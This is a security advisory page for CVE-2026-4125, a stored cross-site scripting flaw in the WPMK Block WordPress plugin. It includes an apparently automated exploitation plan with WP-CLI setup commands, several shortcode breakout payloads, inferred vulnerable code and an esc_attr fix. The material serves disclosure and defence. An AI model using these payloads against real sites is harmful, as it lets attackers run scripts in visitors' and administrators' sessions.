CVE-2026-4125

WPMK Block <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WPMK Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' shortcode attribute in all versions up to and including 1.0.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the wpmk_block_shortcode() function, the 'class' attribute is extracted from user-controllable shortcode attributes and directly concatenated into an HTML div element's class attribute without any escaping (e.g., esc_attr()). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.1
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginwpmk-block
Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2026-4125**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WPMK Block** plugin. --- ### 1. Vulnerability Summary The **WPMK Block** plugin (versions <= 1.0.1) fails to sanitize or escape the `class` attribute within its shortcode …

Show full research plan

This research plan outlines the steps to exploit CVE-2026-4125, a Stored Cross-Site Scripting (XSS) vulnerability in the WPMK Block plugin.


1. Vulnerability Summary

The WPMK Block plugin (versions <= 1.0.1) fails to sanitize or escape the class attribute within its shortcode handler. In the wpmk_block_shortcode() function, user-provided attributes are extracted, and the class parameter is directly concatenated into the class attribute of a div element. Because the plugin does not use esc_attr() or sanitize_html_class() before outputting this value, a user with Contributor-level permissions or higher can inject HTML attributes or breakout characters (like ">) to execute arbitrary JavaScript.

2. Attack Vector Analysis

  • Shortcode Name: wpmk_block (inferred from function name wpmk_block_shortcode).
  • Vulnerable Attribute: class.
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert shortcodes but lack the unfiltered_html capability, making this a privilege escalation of sorts via XSS.
  • Payload Entry Point: WordPress Post/Page Editor (Gutenberg or Classic).
  • Payload Sink: Frontend rendering of any post containing the malicious shortcode.

3. Code Flow

  1. Registration: The plugin registers a shortcode, likely via add_shortcode( 'wpmk_block', 'wpmk_block_shortcode' ); in the main plugin file or an initialization script.
  2. Processing: When a post is rendered, WordPress calls wpmk_block_shortcode( $atts ).
  3. Extraction: The function parses attributes. Based on the description, it extracts the class key:
    $class = isset($atts['class']) ? $atts['class'] : '';
    
  4. Concatenation (Sink): The function builds the HTML string:
    return '<div class="' . $class . '"> ... </div>'; // Vulnerable line
    
  5. Output: The unescaped string is returned to the WordPress content filter and rendered in the browser.

4. Nonce Acquisition Strategy

This vulnerability does not involve a specific AJAX or REST API endpoint that requires a custom nonce. Instead, it relies on the standard WordPress post-creation flow.

  • The automated agent will use WP-CLI to create the malicious post. WP-CLI bypasses nonce requirements for post creation because it operates at the system level.
  • If the agent were to use the web UI, it would rely on the _wpnonce provided in the post-new.php or post.php editor screen.
  • No custom plugin nonce is required to trigger the XSS execution once the shortcode is saved.

5. Exploitation Strategy

  1. Role Setup: Ensure a user with the contributor role exists.
  2. Post Creation: Use WP-CLI to create a new post containing the malicious shortcode.
  3. Payload Selection: Use a breakout payload to escape the class attribute.
    • Payload: [wpmk_block class='"><script>alert(window.origin)</script>']
    • Alternative: [wpmk_block class='wp-block-wpmk" onmouseover="alert(1)" style="padding:100px;'] (useful if script tags are filtered by other security layers).
  4. Execution: Navigate to the published post's URL using a browser session.
  5. Observation: Verify if the JavaScript executes in the context of the frontend user.

6. Test Data Setup

  • Plugin: Install and activate wpmk-block version 1.0.1.
  • Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  • Target Post:
    wp post create --post_type=post --post_status=publish --post_title='XSS Test' \
      --post_content='[wpmk_block class="\"><script>console.log(\"CVE-2026-4125_SUCCESS\")</script>"]' \
      --user=attacker
    

7. Expected Results

When viewing the post, the HTML output should look like this:

<div class=""><script>console.log("CVE-2026-4125_SUCCESS")</script>"> ... </div>

The browser will execute the injected <script> tag, and the string "CVE-2026-4125_SUCCESS" will appear in the developer console.

8. Verification Steps

  1. Verify Database Content:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
    
  2. Inspect Frontend Output: Use the http_request tool to fetch the post URL and check the raw body for the unescaped script:
    # Search for the injected payload in the response
    grep -oP '<div class=""><script>.*?</script>'
    
  3. Browser Execution: Use browser_navigate to the post URL and check for the presence of the injected script or console log via browser_eval.

9. Alternative Approaches

If script tags are blocked by a WAF or other plugin:

  • Event Handler Injection: [wpmk_block class='x" onmouseover="alert(1)']
  • Style-based Payload: [wpmk_block class='x" style="background-image:url(javascript:alert(1))']
  • Iframe Breakout: [wpmk_block class='"><iframe src="javascript:alert(1)"></iframe>']

If the Contributor role cannot publish posts (standard behavior), the researcher must navigate to the Preview URL of the post or log in as an Administrator to publish the pending post before viewing it on the frontend.

Inferred Information:

  • Shortcode name [wpmk_block] is inferred from the function wpmk_block_shortcode.
  • The exact concatenation format return '<div class="' . $atts['class'] . '">...'; is inferred from the vulnerability description.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPMK Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute in its shortcode handler. Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript because the plugin fails to sanitize or escape the attribute before outputting it in a div element.

Vulnerable Code

// In the plugin's shortcode handling file (e.g., wpmk-block.php)
function wpmk_block_shortcode( $atts ) {
    $a = shortcode_atts( array(
        'class' => '',
    ), $atts );

    $class = $a['class'];

    // Vulnerable: user-controlled $class is concatenated into the HTML attribute without escaping
    return '<div class="' . $class . '"> ... </div>';
}

Security Fix

--- a/wpmk-block.php
+++ b/wpmk-block.php
@@ -10,5 +10,5 @@
     $class = $a['class'];
 
-    return '<div class="' . $class . '"> ... </div>';
+    return '<div class="' . esc_attr( $class ) . '"> ... </div>';
 }

Exploit Outline

To exploit this vulnerability, an attacker with at least Contributor-level access must create or edit a post or page. They insert the [wpmk_block] shortcode with a malicious 'class' attribute containing a breakout sequence, such as [wpmk_block class='"><script>alert(window.origin)</script>']. When a site visitor or administrator views the page, the browser parses the unescaped script tag and executes the injected JavaScript in the context of the user's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.